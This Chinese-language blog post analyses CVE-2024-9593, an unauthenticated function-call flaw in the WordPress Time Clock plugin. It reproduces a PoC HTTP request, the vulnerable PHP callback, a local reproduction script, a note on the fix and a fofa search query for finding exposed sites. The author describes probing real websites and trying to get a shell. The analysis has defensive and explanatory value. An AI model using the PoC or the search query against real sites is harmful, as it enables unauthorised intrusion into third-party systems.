背景
在浏览某些网站的网站的时候发现WordPress存在代码执行漏洞。即为CVE-2024-9593 在github搜索中发现如下poc链接:
https://github.com/RandomRobbieBF/CVE-2024-9593
POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
function=phpinfo
于是乎找一波网站实战网站是找到了但是getshell想了很多没有成果。那我们接下来研究一下漏洞原理这个到底是什么引发的这个漏洞。看看能不能从中得到启发。
互联网找到的实战站点。
分析代码
我们在cve网站上面搜索一下编码https://www.cve.org/CVERecord?id=CVE-2024-9593 发现漏洞等级为8.3 级然后发现如下引用:
https://www.wordfence.com/threat-intel/vulnerabilities/id/247e599a-74e2-41d5-a1ba-978a807e6544?source=cve
https://plugins.trac.wordpress.org/browser/time-clock/tags/1.2.2/includes/admin/ajax_functions_admin.php#L58
https://plugins.trac.wordpress.org/changeset/3171046/time-clock#file40
我们发现time-clock 的1.2.2版本的58行存在漏洞截图如下:
// load function
function etimeclockwp_load_function_callback() {
$function = sanitize_text_field($_POST['function']); //对传入参数进行过滤除了字母数字以外过滤
// only run function is it exists
if (function_exists($function)) {
echo call_user_func($function);
}
wp_die();
}
add_action( 'wp_ajax_etimeclockwp_load_function', 'etimeclockwp_load_function_callback' );
add_action( 'wp_ajax_nopriv_etimeclockwp_load_function', 'etimeclockwp_load_function_callback' );
核心代码就是如果这个函数名称存在那么使用call_user_func 调用这个函数。所以漏洞就知道了这个漏洞可以调用wordpress里面写的所有函数。我们看没有传参数的地方所以。这个漏洞必须配合wordpres 里面的某些函数才能利用成功。我们在本地搭建一个环境看看。假如本地有个testok函数代码如下:
<?php
error_reporting(0);
$function = $_POST['function'];
// only run function is it exists
if (function_exists($function)) {
echo call_user_func($function);
}else{
echo "no function!!!";
}
function testok($name){ //那么我们就可以调用这个函数并且传入参数进行利用
echo $_POST['test'].$name;
}
?>
另外我们看 1.2.3 修复漏洞方式直接删除漏洞代码。 对比一下删除了漏洞代码如下图:
https://plugins.trac.wordpress.org/changeset?old_path=%2Ftime-clock%2Ftags%2F1.2.2&old=3181069&new_path=%2Ftime-clock%2Ftags%2F1.2.3&new=3181069&sfp_email=&sfph_mail=
删除漏洞代码
总结
综上所述改漏洞需要配合wp其他函数方可利用。并不能直接利用。直接可用可以打的phpinfo。fofa:”wp-content/plugins/time-clock/“
另外资产也不多。工具集成一下当poc用吧。。